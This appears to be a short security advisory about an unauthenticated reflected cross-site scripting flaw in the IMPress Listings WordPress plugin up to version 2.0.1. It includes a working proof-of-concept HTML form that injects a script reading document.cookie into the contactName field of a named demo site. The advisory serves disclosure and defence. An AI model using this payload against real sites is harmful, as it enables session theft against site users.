IMPress Listings <= 2.0.1 - Unauthenticated Reflected Cross-Site Scripting (XSS)

2016-01-2700:00:00

Kris

0.001 Low

EPSS

Percentile

29.5%

JSON

The IMPress Listings WordPress plugin was affected by an Unauthenticated Reflected Cross-Site Scripting (XSS) security vulnerability.

<html>
<head><title>IMPress Listings XSS Demo</title></head>
<body>
	<form action="http://demo.wp-listings.com/listings/1048-cherrywood-dr/" method="POST">
	<input type=hidden name=contactName value='"><script>alert(document.cookie);</script><"'>
	<input type=submit value="Test XSS">
	</form>
</body>
</html>

References

github.com/agentevolution/wp-listings/pull/52

0.001 Low

EPSS

Percentile

29.5%

JSON

Related for WPEX-ID:D7B783FB-331E-4252-BF55-338A22D6F5C0